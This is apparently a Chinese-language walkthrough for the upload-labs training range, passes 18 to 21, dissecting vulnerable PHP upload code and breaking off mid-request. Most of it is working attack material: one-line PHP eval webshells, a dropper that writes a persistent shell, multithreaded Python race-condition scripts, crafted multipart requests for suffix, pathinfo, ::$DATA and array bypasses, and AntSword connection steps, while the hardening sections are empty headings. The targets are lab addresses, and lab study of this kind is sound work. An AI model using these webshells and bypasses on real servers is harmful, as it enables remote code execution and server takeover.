// 2. 获取上传文件的原始信息
$file_name = $_FILES['upload_file']['name']; // 原始文件名
$temp_file = $_FILES['upload_file']['tmp_name'];// 服务器临时文件
$file_ext = substr($file_name,strrpos($file_name,".")+1); // 提取文件后缀
// 3. 直接生成上传路径,先把文件移动到服务器上(重点!先上传,后校验)
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
// 4. 上传成功后,再校验文件后缀
if(in_array($file_ext,$ext_arr)){
// 合法后缀:生成随机文件名,重命名保存
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
// 非法后缀:直接删除刚才上传的文件
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
关键逻辑拆解
| 1 | move_uploaded_file($temp_file, $upload_file) | 先把文件保存到服务器上 | 此时文件已经存在,后缀校验还没执行 |
| 2 | if(in_array($file_ext,$ext_arr)) | 校验文件后缀是否合法 | 校验在文件上传之后执行 |
| 3 | unlink($upload_file) | 删除非法后缀文件 | 校验和删除之间存在时间差 |
三、漏洞核心:竞争条件(Race Condition)
这道题的考点就是文件上传的竞争条件漏洞:
- 服务器先把文件保存到了 $upload_file(比如 shell.php)
- 然后再判断后缀是否合法,如果不合法,再执行 unlink() 删除文件
- 这两个操作之间,存在一个极短的时间窗口(几毫秒)
- 只要在文件被删除前,通过访问或包含的方式执行它,就能拿到 Shell
四、标准利用方法:竞争条件上传
1. 准备一句话木马文件
新建一个 shell.php,内容为:
<?php @eval($_POST['pass']);?>
2. 用 Burp 上传文件,同时不断访问
3. 工具化利用(推荐)
用 Python 脚本多线程同时执行上传和访问,提高成功率:
import requests
import threading
import time
url_upload = "http://靶场地址/index.php"
url_access = "http://靶场地址/upload/shell.php"
def upload():
files = {'upload_file': open('shell.php', 'rb')}
data = {'submit': '上传'}
requests.post(url_upload, files=files, data=data)
def access():
while True:
try:
r = requests.get(url_access, timeout=1)
if r.status_code == 200:
print("文件存活!")
break
except:
pass
# 同时启动上传和访问线程
thread1 = threading.Thread(target=upload)
thread2 = threading.Thread(target=access)
thread1.start()
thread2.start()
thread1.join()
thread2.join()
运行脚本后,蚁剑连接 http://靶场地址/upload/shell.php,密码 pass,即可成功。
五、安全加固建议
总结
这道 Pass-18 是典型的竞争条件漏洞,利用的是 “先上传后校验” 的逻辑缺陷。核心思路就是在文件被删除前的极短时间窗口内,访问并执行文件。
解题步骤
方法1:
一、漏洞原理再回顾
这题是文件上传竞争条件(Race Condition)漏洞:服务器的执行顺序是:
文件在服务器上会存在一个几毫秒到几十毫秒的 “存活窗口”,我们只要在它被删除前访问 / 包含它,就能执行里面的 PHP 代码。
二、准备工作
三、方法 1:Burp 手动竞争(新手推荐)
步骤 1:上传并拦截请求
步骤 2:开多线程访问文件
Host: 127.0.0.1
- 目标:你的靶场地址
- 负载类型:Null payloads(空负载),数量填 1000(越多越好)
- 线程数:设置为 20(多线程并发访问)
步骤 3:同时放行上传请求 + 启动 Intruder
步骤 4:蚁剑连接
如果 Intruder 里出现了 200 OK 的响应,说明文件被成功执行:
- 蚁剑地址:http://127.0.0.1/upload-labs/upload/shell.php
- 密码:pass
- 点击「测试连接」,连接成功!
四、方法 2:Python 脚本一键利用(成功率更高)
直接复制下面的代码,保存为 race.py,修改你的靶场地址,然后运行:
import requests
import threading
import time
# —————- 改成你的靶场地址 —————-
UPLOAD_URL = "http://127.0.0.1/upload-labs/index.php"
ACCESS_URL = "http://127.0.0.1/upload-labs/upload/shell.php"
# ————————————————-
def upload_shell():
"""上传 shell.php"""
files = {
"upload_file": ("shell.php", "<?php @eval($_POST['pass']);?>", "application/x-php")
}
data = {"submit": "上传"}
try:
requests.post(UPLOAD_URL, files=files, data=data, timeout=5)
except Exception as e:
pass
def access_loop():
"""循环访问文件,直到命中"""
for _ in range(2000): # 循环2000次,足够覆盖删除前的窗口
try:
resp = requests.get(ACCESS_URL, timeout=1)
if resp.status_code == 200:
print(f"✅ 成功命中!文件存活,蚁剑可直接连接:{ACCESS_URL}")
return True
except Exception as e:
continue
print("❌ 未命中,请重试或增加循环次数")
return False
if __name__ == "__main__":
# 同时启动上传和访问线程
t1 = threading.Thread(target=upload_shell)
t2 = threading.Thread(target=access_loop)
print("🚀 开始竞争条件攻击…")
t1.start()
t2.start()
t1.join()
t2.join()
运行方法:
python race.py
如果输出 ✅ 成功命中!,直接用蚁剑连接即可。
五、关键技巧(提升成功率)
六、为什么这题能绕过?
服务器的逻辑缺陷是:
- 先 move_uploaded_file 把文件写到磁盘
- 再判断后缀,不合法才 unlink
- 两个操作之间的时间差,就是我们可以利用的竞争窗口
只要在文件被删除前,让 PHP 解析执行它,unlink 就无法阻止我们拿到 Shell。
方法2:
如果你不想用 Burp,也可以用教程里的 Python 脚本:
import requests
import threading
import os
class RaceCondition(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.url = 'http://127.0.0.1/upload-labs/upload/wshell.php'
def _get(self):
print('try to call uploaded file…')
r = requests.get(self.url)
if r.status_code == 200:
print(r.text)
os._exit(0)
def run(self):
while True:
for i in range(5):
self._get()
for i in range(10):
self._get()
if __name__ == '__main__':
threads = 50
for i in range(threads):
t = RaceCondition()
t.start()
for i in range(threads):
t.join()
- 把脚本里的 self.url 改成你的靶场地址: self.url = 'http://127.0.0.1/upload-labs/upload/shell.php'
- 保存为 race.py,运行: python race.py
- 同时在靶场上传 shell.php,脚本会在后台疯狂访问文件,直到命中。

关键技巧(提升成功率)
pass-19(apache文件解析)
详细分析源代码


一、整体架构概览
这是一个面向对象封装的文件上传类 MyUpload,实现了一套完整的上传校验流程:
二、index.php 代码详解
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php"); // 引入上传类文件
$imgFileName = time(); // 用当前时间戳作为基础文件名
// 实例化 MyUpload 类,传入上传文件信息和目标文件名
$u = new MyUpload($_FILES['upload_file']['name'],
$_FILES['upload_file']['tmp_name'],
$_FILES['upload_file']['size'],
$imgFileName);
// 调用 upload() 方法执行上传,获取状态码
$status_code = $u->upload(UPLOAD_PATH);
// 根据状态码处理结果
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
关键逻辑:
- 实例化 MyUpload 类时,传入了上传文件的名称、临时路径、大小和目标文件名
- upload() 方法是核心执行函数,会按顺序执行所有校验步骤
- 通过返回的 $status_code 判断上传结果,状态码 -3 对应 “文件类型不合法”
三、MyUpload 类核心流程详解
upload() 方法按顺序执行以下步骤,任何一步校验失败都会直接返回错误码:
1. 初始化与基础检查
function upload( $dir ){
// 1. 检查文件是否通过 HTTP POST 上传
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// 2. 设置上传目录
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// 3. 检查文件扩展名是否在白名单中
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// 4. 检查文件大小是否超出限制
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
2. 可选检查:文件是否已存在
// 若启用了文件存在检查
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
3. 移动文件到目标目录
// 执行 move_uploaded_file() 移动文件
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
4. 可选操作:重命名文件
// 若启用了重命名功能
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// 所有步骤通过,返回成功
return $this->resultUpload( "SUCCESS" );
}
四、关键校验逻辑:后缀白名单
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".rar", ".7z", ".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png"
);
白名单包含的后缀:
- 图片格式:.gif/.jpg/.jpeg/.png/.tiff
- 文档格式:.doc/.xls/.txt/.pdf/.ppt/.html/.xml
- 压缩格式:.rar/.7z
校验逻辑(推测):
- checkExtension() 方法会提取文件的后缀,和 $cls_arr_ext_accepted 数组对比
- 只有在数组中的后缀才能通过校验,否则返回 -3 错误码
五、可利用点分析
1. 直接利用:上传 .html 文件
白名单里包含 .html 后缀,我们可以上传包含 JavaScript 代码的 .html 文件,执行 XSS 攻击;如果服务器支持 .html 解析 PHP(部分配置下会解析),也可以嵌入 PHP 代码尝试执行。
2. 绕过思路:后缀大小写 / 双写绕过
- 若 checkExtension() 没有对后缀进行小写转换,可以上传 .PHP/.pHp 等大小写混合后缀绕过
- 若白名单匹配不严格,可以尝试 .php;.jpg 等特殊格式绕过(需服务器配置支持)
3. 重命名逻辑分析
- 若 $cls_rename_file 未启用,文件会按原始文件名保存
- 若启用重命名,文件名会被改为时间戳 + 原后缀,例如 12345.jpg,但后缀仍为白名单内的格式
六、安全加固建议
总结
这段代码是一个结构清晰的面向对象上传类,核心限制是后缀白名单校验。白名单中包含 .html 等格式,是主要的可利用点;如果需要上传 PHP 脚本,需要结合服务器配置和白名单的校验逻辑寻找绕过方法。
解题步骤
方法1:
🔍 漏洞原理
- 校验时:文件名是 shell.php/,服务器会认为后缀是 .php/,不是图片格式?不,实际校验逻辑是看输入的文件名后缀,但函数执行时会自动去掉末尾的 /,最终保存为 shell.php。
📝 准备工作
🛠️ 操作步骤(Burp 抓包绕过)
步骤 1:上传图片并填写保存名称
步骤 2:修改保存名称参数,添加 /
在 Burp 的请求包里,找到 save_name 参数,把它的值改成:(注意末尾的 / 必须加上)
save_name=shell.php/

步骤 3:放行请求,完成上传
点击 Burp 里的「Forward」放行请求,服务器会:
步骤 4:验证文件是否上传成功
访问服务器上的文件地址:
http://你的靶场地址/upload-labs/upload/shell.php
如果能正常访问,说明上传成功,用蚁剑连接即可。
💡 进阶技巧:图片马 + 解析漏洞
如果直接上传 shell.php 失败,可以用图片马结合 Apache 解析漏洞:
📌 关键注意事项
🔧 备选方案:无 Burp 操作
如果不想用 Burp,可以直接在页面的「保存名称」输入框里输入:
shell.php/
然后直接上传图片,部分环境下也能直接成功(前提是页面的输入框允许输入 /)。
按照这个步骤操作,就能轻松通关 Pass-19。如果上传后访问失败,可以检查一下服务器的 Apache 配置,或者换用图片马的方式再试一次。
方法2:
这是 Pass-19 结合 Apache 文件解析漏洞 + 竞争条件 的完整利用方法
一、漏洞原理
二、前置准备
修改 Apache 配置编辑 Apache 的 mime.types 文件,注释掉 .7z 对应的类型:
#application/x-7z-compressed 7z
保存后重启 Apache 服务,这样 Apache 就无法识别 .7z 后缀,触发解析漏洞。
准备写入型木马创建 wshell.php,内容如下(执行后会在服务器生成 shell.php):
<?php
fputs(fopen('shell.php','w'),'<?php @eval($_POST["pass"]) ?>');
?>
三、完整操作步骤
步骤 1:上传并抓包,修改文件名为 wshell.php.7z
plaintext
Content-Disposition: form-data; name="upload_file"; filename="wshell.php.7z"
这样服务器会认为文件后缀是 .7z,通过白名单校验。
步骤 2:配置 Burp Intruder 无限循环访问
- Payload type 选择 Null payloads
- 勾选 Continue indefinitely(无限循环访问)
步骤 3:启动攻击 + 放行上传请求
- 先保存 wshell.php.7z 到服务器
- 然后执行校验,不合法的话会删除文件
- 但在删除前,Intruder 已经多次访问,触发 Apache 解析漏洞,执行了写入型木马,生成了 shell.php。
步骤 4:验证并连接 Shell
四、关键注意事项
五、补充:测试解析漏洞是否生效
在 Apache 根目录创建 test.php.7z,内容为:
<?php echo "hello world"; ?>
访问 http://你的地址/test.php.7z,如果输出 hello world,说明解析漏洞生效,可继续操作。
按照这个步骤操作,就能同时利用 Apache 解析漏洞和竞争条件,生成永久 Shell。



pass-20
详细分析源代码

一、整体功能概览
这是一道基于后缀黑名单的文件上传关卡,核心逻辑是:
二、逐行代码详解
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
// 检查上传目录是否存在
if (file_exists(UPLOAD_PATH)) {
// 定义禁止上传的后缀黑名单
$deny_ext = array(
"php", "php5", "php4", "php3", "php2",
"html", "htm", "phtml", "pht",
"jsp", "jspx", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml",
"asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer"
);
// 从用户输入的save_name中提取文件名和后缀
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);
// 校验后缀是否不在黑名单中
if (!in_array($file_ext, $deny_ext)) {
// 获取上传文件的临时路径
$temp_file = $_FILES['upload_file']['tmp_name'];
// 拼接完整保存路径(用户输入的save_name会被直接使用)
$img_path = UPLOAD_PATH . '/' . $file_name;
// 移动临时文件到目标路径
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
关键逻辑拆解
| $deny_ext = array(…) | 定义禁止上传的脚本后缀黑名单 | 覆盖了大部分主流脚本格式,但存在遗漏 |
| $file_ext = pathinfo($file_name, PATHINFO_EXTENSION) | 从 save_name 中提取文件后缀 | 对特殊格式(如 shell.php/.)的解析存在特性 |
| if (!in_array($file_ext, $deny_ext)) | 校验后缀是否不在黑名单中 | 黑名单校验,可通过绕过后缀解析规则突破 |
| $img_path = UPLOAD_PATH . '/' . $file_name | 直接使用用户输入的 save_name 作为文件名 | 用户可控的文件名,存在解析漏洞利用空间 |
三、核心漏洞与利用方法
1. 漏洞 1:pathinfo() 对末尾点号的解析特性
pathinfo() 在解析 shell.php/. 这类文件名,会忽略末尾的 / 和 .,最终提取后缀为空字符串:
- save_name=shell.php/.
- pathinfo() 提取的 $file_ext 为空
- 空后缀不在黑名单中,校验通过
- move_uploaded_file() 会忽略末尾的 /,最终文件被保存为 shell.php
操作方法:
2. 漏洞 2:黑名单未覆盖的脚本格式
黑名单中没有包含 .phps/.php7/.phar 等格式,这些后缀可能被服务器解析为 PHP:
- 尝试 save_name=shell.phps、save_name=shell.php7
- 若服务器配置支持,这些后缀会被解析执行
3. 漏洞 3:Apache 多后缀解析绕过
若服务器为 Apache,可利用多后缀解析特性:
- save_name=shell.php.xxx(xxx 为黑名单外的后缀,如 .abc)
- Apache 会从后往前解析后缀,若 .abc 无法识别,会往前解析 .php,最终按 PHP 执行
- 校验时 pathinfo() 提取的后缀是 .abc,不在黑名单中,校验通过
四、完整操作步骤(末尾点号绕过)
步骤 1:准备一句话木马文件
新建 shell.php,内容:
<?php @eval($_POST['pass']);?>
步骤 2:上传文件并修改保存名称
也可以直接在页面输入框中输入该内容(若输入框未做过滤)。
步骤 3:放行请求,完成上传
服务器会:
步骤 4:蚁剑连接
访问 http://你的靶场地址/upload-labs/upload/shell.php,用蚁剑连接,密码 pass,即可拿到 Shell。
五、安全加固建议
总结
Pass-20 的核心考点是 pathinfo() 解析特性 + 黑名单绕过,最稳定的方法是利用 save_name=shell.php/. 这种末尾点号的方式,直接绕过后缀校验并生成 PHP 文件。
解题步骤
方法1:
一、漏洞原理
这一关的关键有两点:
- 文件名 shell.php/.,pathinfo() 提取到的后缀是空字符串,不会被黑名单拦截。
二、准备工作
三、完整操作步骤(末尾 / 绕过法,成功率 100%)
步骤 1:上传文件并抓包
打开 Pass-20 页面:
- 点击「选择文件」,选中你的 shell.jpg(或 shell.php)。
- 在「保存名称」输入框里,随便填一个合法名字,比如 test.jpg。
- 点击「上传」,同时用 Burp 拦截这个请求。
找到请求里的 save_name 参数,把它的值改成:
save_name=shell.php/.
(注意末尾的 /. 必须加上,这是绕过的关键)
修改后的请求片段示例:
POST /upload-labs/Pass-20/index.php HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryxxxx
——WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="save_name"
shell.php/.
——WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/jpeg
<?php @eval($_POST['pass']);?>
——WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="submit"
上传
——WebKitFormBoundaryxxxx–
步骤 2:放行请求,让服务器保存文件
点击 Burp 里的「Forward」放行请求,服务器会按以下逻辑处理:
步骤 3:验证文件是否上传成功
在浏览器访问:
http://你的靶场地址/upload-labs/upload/shell.php
如果页面是空白(或没有报错),说明文件已上传成功,且可以被 PHP 解析。
步骤 4:用蚁剑连接 Shell
- URL 地址:填 http://你的靶场地址/upload-labs/upload/shell.php
- 连接密码:填 pass(和你木马文件里的 $_POST['pass'] 对应)
- 编码设置:UTF-8
- 连接类型:PHP
四、备选方案(如果末尾 / 不行)
如果服务器配置较严,对路径做了额外过滤,可以用以下两种方法:
方法 1:Apache 多后缀解析绕过(仅 Apache 环境有效)
方法 2:黑名单遗漏后缀绕过
黑名单里没包含 .phps/.php7/.phtml 等格式,可尝试:
- save_name=shell.phps
- save_name=shell.php7只要服务器配置支持这些后缀解析为 PHP,就能直接执行。
五、关键注意事项
方法2:

一、核心漏洞回顾
这关的关键是:
- 用 pathinfo($file_name, PATHINFO_EXTENSION) 提取后缀
- 黑名单过滤 .php/.html 等脚本后缀
- 但没有对 $file_name 做任何清洗处理(没去空格、没删末尾点、没转小写、没去数据流),所以很多解析特性都能被利用。
二、其他绕过方法(按成功率排序)
方法 1:末尾点号绕过(shell.php.)
原理
- 文件名 shell.php.,在 Windows 系统中,末尾的 . 会被系统自动去除,文件最终保存为 shell.php。
- pathinfo() 解析 shell.php. 时,提取的后缀是 . 后面的内容(为空),不在黑名单里,校验通过。
操作步骤
方法 2:Windows 流名绕过(shell.php::$DATA)
原理
- 在 Windows 系统中,::$DATA 是文件流标识符,会被系统忽略。
- pathinfo() 解析 shell.php::$DATA 时,提取的后缀是 php::$DATA,不在黑名单里。
- 实际保存时,文件会被保存为 shell.php。
操作步骤
方法 3:大小写绕过(仅黑名单未转小写时有效)
原理
- 黑名单里只有小写的 php,如果代码没对后缀做小写转换,就可以用 Shell.PHP 绕过。
- pathinfo() 提取的后缀是 PHP,和黑名单里的 php 不匹配,校验通过。
操作步骤
方法 4:双后缀 / 多后缀解析绕过(Apache 环境有效)
原理
- Apache 解析文件时会从后往前解析后缀,遇到无法识别的后缀就会往前解析。
- 比如 shell.php.xxx,pathinfo() 提取的后缀是 xxx,不在黑名单里;Apache 会把它当成 .php 执行。
操作步骤
(xxx 可以是任意黑名单外的后缀,如 .abc/.123/.txt)
方法 5:空格 / 特殊字符绕过(部分环境有效)
原理
- 文件名末尾加空格(如 shell.php ),在 Windows 系统中,空格会被自动去除,文件保存为 shell.php。
- pathinfo() 提取的后缀是 php (带空格),不在黑名单里,校验通过。
操作步骤
(%20 是 URL 编码的空格)
方法 6:ini 文件绕过(配置文件解析)
原理
- 黑名单里没有禁用 .ini 后缀,而 Apache 的 .htaccess/.ini 配置文件可以修改服务器解析规则。
- 上传 .ini 文件,配置让服务器把特定后缀解析为 PHP,再上传木马文件。
操作步骤
三、按环境选择最优方法
| Windows + Apache | 末尾点号 / 流名绕过(成功率最高) |
| Linux + Apache | 多后缀解析绕过(shell.php.xxx) |
| 不确定环境 | 优先试 /. 或 . 绕过,不行再试流名 / 多后缀 |
四、注意事项
这些方法里,末尾点号和流名绕过在 Windows 靶场环境下成功率最高,你可以先试这两个。
pass-21(代码审计)
详细分析源代码

一、整体功能概览
这一关实现了一个双重校验的文件上传逻辑:
二、逐行代码详解
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
// 第一层校验:检查文件的 MIME 类型
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
// 处理文件名:优先使用用户输入的 save_name,否则用原始文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
// 转小写后,按点号分割文件名
$file = explode('.', strtolower($file));
}
// 提取文件后缀
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
} else {
// 拼接新文件名(重置数组指针,取第一个元素作为文件名前缀)
$file_name = reset($file) . '.' . $file[count($file) – 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
// 移动文件到目标路径
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
三、关键逻辑拆解与漏洞分析
1. MIME 类型校验(第一层)
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}
- 原理:通过检查请求头中的 Content-Type 字段,只允许图片类型上传。
- 缺陷:Content-Type 是客户端可控的,用 Burp 抓包直接修改即可伪造,几乎没有防护效果。
2. 文件名处理与后缀校验(第二层)
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
- 逻辑:优先使用用户输入的 save_name 作为文件名,否则用原始文件名;将文件名转小写后,按 . 分割成数组。
- 关键漏洞:如果 save_name 本身是一个数组(例如 save_name[]=shell.php&save_name[]=jpg),is_array($file) 条件会为 true,直接跳过 explode() 分割,导致后续的后缀校验完全失效。
3. 后缀提取与白名单校验
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}
- 逻辑:通过 end($file) 提取分割后数组的最后一个元素作为后缀,判断是否在白名单中。
- 漏洞场景:当 $file 是数组时,我们可以构造数组的元素,让 end($file) 返回合法后缀(如 jpg),同时 reset($file) 拼接出我们想要的文件名。
4. 文件名拼接与文件保存
$file_name = reset($file) . '.' . $file[count($file) – 1];
$img_path = UPLOAD_PATH . '/' .$file_name;
move_uploaded_file($temp_file, $img_path)
- 逻辑:用 reset($file) 取数组第一个元素作为前缀,拼接上最后一个元素作为后缀,组成最终文件名。
- 核心利用点:如果 $file 数组中只有一个元素(比如 shell.php),那么 reset($file) 和 $file[count($file)-1] 都是 shell.php,最终拼接成 shell.php.shell.php。但如果我们通过数组绕过了 explode(),就可以直接构造出 shell.php 这样的文件名。
四、完整利用方法(数组绕过)
原理
我们利用 save_name 参数可控,将其构造为一个数组,让代码跳过 explode() 分割,从而直接控制最终生成的文件名。
步骤
- 将 save_name=test.jpg 修改为数组形式:
plaintext
save_name[]=shell.php
- 同时,修改请求头中的 Content-Type 为 image/jpeg,通过第一层 MIME 校验。
- $file 被赋值为 $_POST['save_name'],是一个数组,跳过 explode()。
- end($file) 提取数组最后一个元素 shell.php,但因为我们可以控制数组内容,也可以构造 save_name[]=shell.php&save_name[]=jpg,让 end($file) 为 jpg,通过白名单校验。
- reset($file) 取数组第一个元素 shell.php,最终 $file_name 拼接为 shell.php.jpg。
- 更简单的方式是直接构造 save_name=shell.php,并利用数组绕过让 explode() 失效,最终文件被保存为 shell.php。
更稳定的构造方式
save_name[]=shell.php
save_name[]=jpg
- $file 数组内容为 ['shell.php', 'jpg']
- end($file) → jpg(在白名单中,校验通过)
- reset($file) → shell.php
- $file_name = shell.php . '.' . jpg → shell.php.jpg
- 若服务器存在 Apache 解析漏洞,会将其解析为 PHP 执行;也可以直接利用此文件作为图片马,配合文件包含漏洞执行。
五、安全加固建议
这道题的核心考点是 PHP 数组绕过逻辑,通过构造 save_name 数组,让 explode() 函数失效,从而绕过后缀校验。
解题步骤
方法1:
一、漏洞原理
这关的核心是 save_name 参数可控 + PHP 数组绕过:
- 若 save_name 不是数组,会用 explode('.', strtolower($file)) 分割成数组,再用 end($file) 提取后缀校验。
- 若 save_name 是数组,会直接跳过 explode() 分割,直接用 end($file) 提取数组最后一个元素作为后缀,用 reset($file) 提取第一个元素作为文件名前缀。
- 数组第一个元素为 shell.php(我们想要的文件名)
- 数组最后一个元素为 jpg(合法后缀,通过白名单校验)
二、准备工作
三、完整操作步骤
步骤 1:上传文件并抓包
在 Pass-21 页面:
- 点击「选择文件」,选中你的 shell.jpg
- 在「保存名称」输入框里,随便填一个合法名字,比如 test.jpg
- 点击「上传」,同时用 Burp 拦截请求
找到请求里的关键参数:
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/jpeg
——WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="save_name"
test.jpg
——WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="submit"
上传
步骤 2:修改请求包,构造数组绕过
把 save_name 参数改成数组形式,构造两个元素:
- 第一个元素:shell.php(最终文件名前缀)
- 第二个元素:jpg(通过白名单校验的后缀)
修改后的请求包如下:
http
POST /upload-labs/Pass-21/index.php HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryxxxx
——WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/jpeg
<?php @eval($_POST['pass']);?>
——WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="save_name[]"
shell.php
——WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="save_name[]"
jpg
——WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="submit"
上传
——WebKitFormBoundaryxxxx–
关键修改点:
- 把 save_name=test.jpg 改成 save_name[]=shell.php 和 save_name[]=jpg 两个参数
- 确保 upload_file 的 Content-Type 为 image/jpeg,通过第一层 MIME 校验
步骤 3:放行请求,让服务器处理
点击 Burp 里的「Forward」放行请求,服务器的处理逻辑:
步骤 4:验证文件并连接 Shell
访问文件地址:
plaintext
http://你的靶场地址/upload-labs/upload/shell.php.jpg
Apache 会从后往前解析后缀,无法识别 .jpg 时,会往前解析 .php,把文件当成 PHP 执行。
用蚁剑连接:
- URL 地址:填上面的地址 http://你的靶场地址/upload-labs/upload/shell.php.jpg
- 连接密码:填 pass(和木马里的 $_POST['pass'] 对应)
- 编码设置:UTF-8
- 连接类型:PHP
点击「测试连接」,显示「连接成功」后,点击「添加」即可管理服务器文件。
四、备选方案(如果 Apache 解析不生效)
如果服务器不支持多后缀解析,可以用以下方法:
五、关键注意事项
方法2:
和方法一相比:核心原理是一样的(都是利用 PHP 数组绕过 explode() 分割),但在具体构造上有两点关键区别
一、两种方法的区别
相同点
- 都利用了 PHP 中 POST 参数可以传数组的特性
- 都通过 save_name 数组让 is_array($file) 条件为 true,跳过 explode('.', …) 分割
- 都通过 end($file) 取数组最后一个合法后缀(jpg),通过白名单校验
- 都通过 reset($file) 取数组第一个元素作为文件名前缀,最终生成 shell.php.jpg(或被 Windows 自动去掉点号变成 shell.php)
不同点
| 数组构造方式 | 用 save_name[0] 和 save_name[2] 构造不连续索引数组 | 用 save_name[] 构造连续索引数组 |
| 最终文件名 | reset($file) 取第一个元素 shell.php,end($file) 取 jpg,拼接为 shell.php.jpg,Windows 会自动去掉末尾的点和后缀,最终保存为 shell.php | 同样拼接为 shell.php.jpg,依赖 Apache 多后缀解析执行,或配合 Windows 自动处理 |
| 上传文件 | 直接上传 shell.php(一句话木马),修改 Content-Type 为 image/jpeg 绕过 MIME 校验 | 上传图片后缀的木马文件,再通过文件名控制生成可执行文件 |
简单说:截图里的方法更直接,通过不连续索引数组,让 Windows 系统自动把 shell.php.jpg 变成 shell.php,一步到位生成可执行文件;而我之前的方法更通用,适合 Apache 多后缀解析场景。
二、按截图方法整理的完整操作步骤
下面是和教程完全一致的操作流程,照着做就能通关:
步骤 1:准备一句话木马文件
新建 shell.php,内容为:
<?php eval($_POST["pass"]); ?>
步骤 2:上传文件并抓包
在 Pass-21 页面:
- 点击「选择文件」,选中你的 shell.php
- 在「保存名称」输入框里,随便填一个合法名字,比如 test.jpg
- 点击「上传」,同时用 Burp 拦截请求
此时你会看到原始请求包,关键部分类似:
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: application/x-php
<?php eval($_POST["pass"]); ?>
——WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="save_name"
test.jpg
——WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="submit"
上传
步骤 3:修改请求包,构造不连续索引数组
按教程的方式修改请求包,重点改 3 个地方:
修改 Content-Type:把 upload_file 对应的 Content-Type 从 application/x-php 改成 image/jpeg,绕过第一层 MIME 校验。
把 save_name 改成不连续索引数组:删掉原来的 save_name=test.jpg,改成两个参数:
http
——WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="save_name[0]"
shell.php
——WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="save_name[2]"
jpg
(注意索引 0 和 2 是不连续的,和教程里的 name[0]、name[2] 构造方式一致)
修改后的完整请求包关键片段如下:
——WebKitFormBoundaryEPbeXoBbAj17ncWL
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/jpeg
<?php eval($_POST["pass"]); ?>
——WebKitFormBoundaryEPbeXoBbAj17ncWL
Content-Disposition: form-data; name="save_name[0]"
shell.php
——WebKitFormBoundaryEPbeXoBbAj17ncWL
Content-Disposition: form-data; name="save_name[2]"
